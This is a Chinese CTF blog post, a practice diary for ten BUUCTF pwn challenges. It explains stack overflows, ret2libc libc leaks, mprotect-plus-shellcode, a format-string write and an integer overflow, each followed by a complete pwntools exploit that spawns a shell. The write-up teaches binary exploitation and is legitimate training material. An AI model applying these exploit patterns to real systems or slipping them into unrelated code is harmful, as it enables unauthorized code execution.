BUUCTF-PWN刷题日记(一)

BUUCTF-PWN刷题日记

  • rip
  • warmup_csaw_2016
  • pwn1_sctf_2016
  • jarvisoj_level1
  • [OGeek2019]babyrop
  • ciscn_2019_c_1 | ciscn_2019_en_2
  • get_started_3dsctf_2016
  • ciscn_2019_n_1
  • [第五空间2019 决赛]PWN5
  • [BJDCTF 2nd]r2t3

————励志要成为很厉害的二进制手的3nc0de

rip

简单的栈溢出
exp:

'''
Author:3nc0de
Date:2020/4/27
'''

#coding=utf-8
from pwn import*
#r = process('./pwn1')
r = remote('node3.buuoj.cn',port)
sys_addr = 0x401186
#address of fun
payload = 'a'*(0xf+8) + p64(sys_addr)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

又是一道简单的栈溢出
PS:这题在攻防世界进阶区未提供ELF文件,用fuzz来做
在这里插入图片描述
运行程序输出shell函数的地址,IDA里可以直接看。
exp:

'''
Author:3nc0de
Date:2020/4/27
'''

#coding=utf-8
from pwn import*
#r = process('./warmup_csaw_2016')
r = remote('node3.buuoj.cn',port)
payload = 'a'*(0x40 + 8) + p64(0x40060d)
r.sendlineafter('>',payload)
r.interactive()

PS:偶然发现在ubuntu19.04中要把0x40060d改成0x40060e或者其他能执行到system函数的地址才能运行,暂时暂时没搞明白什么原因。

pwn1_sctf_2016

在这里插入图片描述
在这里插入图片描述
如果输入I,那么程序会把I变成you
s距离栈底的为0x3c(即60),而最大输入长度为32看似没有栈溢出风险,但想到上面的I->you也就是你的长度最大可变成32*3=96>60造成栈溢出
在这里插入图片描述
在这里插入图片描述
exp:

'''
Author:3nc0de
Date:2020/4/27
'''

from pwn import*
#r = process('./pwn1_sctf_2016')
r = remote('node3.buuoj.cn',port)
sys_addr = 0x08048f0d
payload = 'I'*20 + 'aaaa' + p32(sys_addr)
r.sendline(payload)
r.interactive()

jarvisoj_level1

和原题比较了一下,好像是打远程的时候接收出现了问题,不能用之前的栈溢出直接返回到callsystem函数上了,这里可以用ret2libc的方式来写

'''
Date:2020/4/30
Author:3nc0de
'''

from pwn import*
from LibcSearcher import LibcSearcher

elf = ELF('./level1')
r = remote('node3.buuoj.cn',port)

main = elf.symbols['main']
write = elf.plt['write']
read_got = elf.got['read']

#Step1:
# Display the address of read in GOT
# And make main_address become the return 
# address of write so that you can use
# stack_overflow again
payload = 'a'*140
payload += p32(write) 
payload += p32(main)  # return address
payload += p32(1)
payload += p32(read_got)
payload += p32(4)  # write(1,read_got,4)

#Step2:Get the address of read in got list
r.sendline(payload)
read = u32(r.recv(4))

#Step3:Find libc, calculate system, /bin/sh 
libc = LibcSearcher('read',read)
libc_base = read - libc.dump('read')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*140
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)

#Step4:Get Shell
r.sendline(payload)
r.interactive()

[OGeek2019]babyrop

分析程序:
main函数中生成一个随机数,将其存放在局部变量buf中,注意这里的buf不要和之后的buf搞混,对这种随机数生成方法不太了解的可以看这篇博客
BUUCTF-PWN刷题日记(一)_第1张图片
紧接着往下看,进入sub_804871F函数,将main函数里产生的随机数传给a1之后再传给s,这里又定义了一个局部变量buf用来接收你输入的字符,通过v6 = read(0, buf, 0x20u)和buf[v6-1] = 0两个操作将你输入的最后一个字符置0。所以本来就不太可能猜对随机数的值,这里增加了更大的难度,这就是我们想到绕过strncmp的原因。

处理器在读取字符数组或字符串时以’\x00’(空字符null)作为结束标志。如果buf数组第一个元素就为null,那么系统在处理时就会认为这个数组长度为0,也就是这里的v1 = strlen(buf) = 0,比较0个字符是否相同,相当于绕过了比较。

不懂read函数返回值的看这里
read函数的返回值问题

BUUCTF-PWN刷题日记(一)_第2张图片
还有一个值得注意的地方就是这个函数的输入点buf和返回值v5在栈中的布局如下,只相差0x2c-0x25=7个字节,而前面read函数可以输入0x20个字节,显然我们可以修改
在这里插入图片描述
函数返回后将v5的值传给了v2,随即又将v2传给了下一个函数的a1
在这里插入图片描述
buf的长度为0xe7=231如果a1=127或者a1<231显然无法造成栈溢出,所以在前面绕过比较那里可以将v5的值设置为最大’\xff’,(前面分析了v5经过几次传参到了这里的a1),这样我们就能放心的进行栈溢出了。
BUUCTF-PWN刷题日记(一)_第3张图片
剩下的操作,题目没有提供system函数,所以要用ret2libc的方式来写,题目也没有提供libc库,那么就用LibcSearcher这个工具来找。
exp:

'''
Date:2020/05/01
Author:3nc0de
'''

from pwn import*
from LibcSearcher import LibcSearcher

#r = process('./pwn')
r = remote('node3.buuoj.cn',port)
elf = ELF('./pwn')

#Step1:
#Bypass the strncmp function;
#Make 'v5' become the biggest value '\xff';
#Enough space allows us ROP freely.
def bypass():
	payload = '\x00'
	payload += 'a'*6
	payload += '\xff'
	r.sendline(payload)
	r.recvuntil('Correct\n')

bypass()


#Step2:Leak libc and return to main
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

payload = 'a'*(0xe7+4)
payload += p32(write_plt)
payload += p32(main)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

r.sendline(payload)
write = u32(r.recv(4))

libc = LibcSearcher('write',write)
libcbase = write - libc.dump('write')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

#Step3
# Do Step1 again
# Differently ,this time we know the 
# address of 'system' and '/bin/sh'
# Because program return to main so we should do Step1 again
bypass()

payload = 'a'*(0xe7+4)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)

# Step4:Get Shell
r.sendline(payload)
r.interactive()

ciscn_2019_c_1 | ciscn_2019_en_2

这两题一样的

说好的给你三个选项其实只有第一个encrypt有用
进入encrypt不难发现溢出点gets

x处于bss段,初始值为0,如果我们输入的s的第一个字符就是空字符,那么if(v0>=strlen(s))条件成立,就可以绕过异或加密。

PS:这题当然也可以写解密算法(由于是异或,加解密都一样),但是我自己在用解密算法写exp的时候执行过程中timeout了,所以这里选择绕过节约时间

BUUCTF-PWN刷题日记(一)_第4张图片
既然绕过了,这题也没有其他的坑,就变成了一道最基础的ret2libc(无system,无binsh)题型

'''
Date:2020/05/03
Author:3nc0de
'''

from pwn import*
from LibcSearcher import LibcSearcher

#r = process('./ciscn_2019_c_1')
r = remote('node3.buuoj.cn', port)
elf = ELF('./ciscn_2019_c_1')

pop_rdi = 0x400c83
ret = 0x4006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

payload = '\x00'
payload += 'a'*(0x50+8-1)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendlineafter('choice!\n', '1')
r.sendlineafter('encrypted\n', payload)

r.recvuntil('Ciphertext\n')
r.recvuntil('\n')
puts = u64(r.recvline()[:-1].ljust(8, '\x00'))

print hex(puts)

libc = LibcSearcher('puts', puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

payload = '\x00'
payload += 'a'*(0x50+8-1)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload += p64(0xdeadbeef)

r.sendlineafter('choice!\n', '1')
r.sendlineafter('encrypted\n', payload)

r.interactive()

get_started_3dsctf_2016

借鉴了别人的WP做出来的emmm,真的以为是道很简单的ret2text,原来是我想多了。

直接借鉴别人打远程的思路吧(其实就是ret2shellcode)
vmmap看到第三个数据段并没有可执行(x)权利,即便是那个段中的bss段也没有,而这个程序包含一个特殊的函数mprotect()
BUUCTF-PWN刷题日记(一)_第5张图片
mprotect()函数原型(参考):

#include 
#include 
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

参数start表示开始的内存地址,len是要操作的内存大小,prot表示权限(rwx)
于是想到用mprotect函数来修改第三个数据段的权限,main函数中存在栈溢出,可以通过栈溢出修改返回地址到mprotect()函数
BUUCTF-PWN刷题日记(一)_第6张图片
考虑到mprotect()需要三个参数,我们要找一个包含三个栈指针的gadgets(或者找三个包含一个的),两种方法找到这个gadgets:

  • 1.在gdb中填入过多字符让程序崩溃之后,使用ropgadget命令,可以发现pop2ret这个gadget
    BUUCTF-PWN刷题日记(一)_第7张图片
  • 2.使用ROPgadget

ROPgadget --binary pwn --only ‘pop|ret’|grep ‘ebp’
BUUCTF-PWN刷题日记(一)_第8张图片

pop3ret = 0x80483b8

通过上面的操作传入合适的参数修改权限,然后返回到read或者gets函数来获取输入,这里直接将shellcode填进去就OK了。
具体exp:

'''
Author:3nc0de
date:2020/05/14
'''

#coding:utf-8
from pwn import *

r = process('./pwn')
#r = remote('node3.buuoj.cn', port)
elf = ELF('./pwn')

mprotect = elf.sym['mprotect']
#read = elf.sym['read']
gets = elf.sym['gets']
data = 0x080eb000 #考虑到第三个数据段的起始地址为0x080eaf5c,这里直接取近似
pop3ret = 0x80483b8

payload = 'a'*56 #padding
payload += p32(mprotect)
payload += p32(pop3ret)
payload += p32(data) #参数start
payload += p32(0x1000) #参数len
payload += p32(7) #参数prot,rwx权限权值分别是1,2,4,和为7
payload += p32(gets) #跳到gets函数,也可以是read函数,考虑到别的大佬写的都是read函数,我就不重复写了蛤,注意一下gets只有一个参数,而read有三个
payload += p32(data+0x500)#gets的返回地址
payload += p32(data+0x500)#gets的参数地址
#将返回地址和参数地址设为相同,这样写入之后就可以直接调用

r.sendline(payload)
sleep(1)
r.sendline(asm(shellcraft.sh()))#输入shellcode
r.interactive()

ciscn_2019_n_1

BUUCTF-PWN刷题日记(一)_第9张图片
很简单的一道题,通过gets函数覆盖v1并修改v2的值,但是显然这里的浮点数并不能被直接输入。就想到了转成16进制打包输入
exp:

'''
Author:3nc0de
Date:2020/05/14
'''

from pwn import*

r = process('./ciscn_2019_n_1')

#r = remote('node3.buuoj.cn',28291)

payload = 'a'*44 + p64(0x41348000)

r.sendlineafter('number.\n', payload)

r.interactive()

[第五空间2019 决赛]PWN5

简单的格式化字符串漏洞,和攻防世界新手区的CGfsb很像。
填入:AAAA-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X-%X
数一下,偏移为10 BUUCTF-PWN刷题日记(一)_第10张图片
先填bss的地址,再使用%10$n便可以修改bss地址中的内容由于我们用p32打包输入,则该地址内的值为4

EXP:

'''
Author:3nc0de
Date:2020/05/14
'''

from pwn import* 

r = process('./pwn')

#r = remote('node3.buuoj.cn', port)

bss = 0x0804C044 

payload =  p32(bss) + '%10$n'

r.sendline(payload)

sleep(1)

r.sendline(str(4))

r.interactive()

[BJDCTF 2nd]r2t3

这题的题目名字搞我心态呀。看到这名字,都没仔细审题,一套ret2libc3模板行云流水的写下来,才发现不是ret2libc3
仔细审题:main函数这里并不存在栈溢出
BUUCTF-PWN刷题日记(一)_第11张图片
这里才存在栈溢出
BUUCTF-PWN刷题日记(一)_第12张图片
v3检测我们输入的长度,要在区间(3,8]之间。
但是v3的类型是unsigned _int8也就是一个字节,最大值为0xff那么整数溢出:0x100=0x0
所以我们输入的长度可以在(0x103,0x108]之间,不妨取0x104
并且我们可以在程序中找到后门函数,那这题就是一道很简单的整数溢出+栈溢出题了
在这里插入图片描述

'''
Author:3nc0de
Date:2020/05/14
'''

from pwn import*

r = process('./r2t3')

#r = remote('node3.buuoj.cn', port)

shell = 0x0804858b

payload = 'a'*0x15 + p32(shell)
payload = payload.ljust(0x104, 'a')

r.sendline(payload)

r.interactive()

你可能感兴趣的:(CTF,BUUCTF)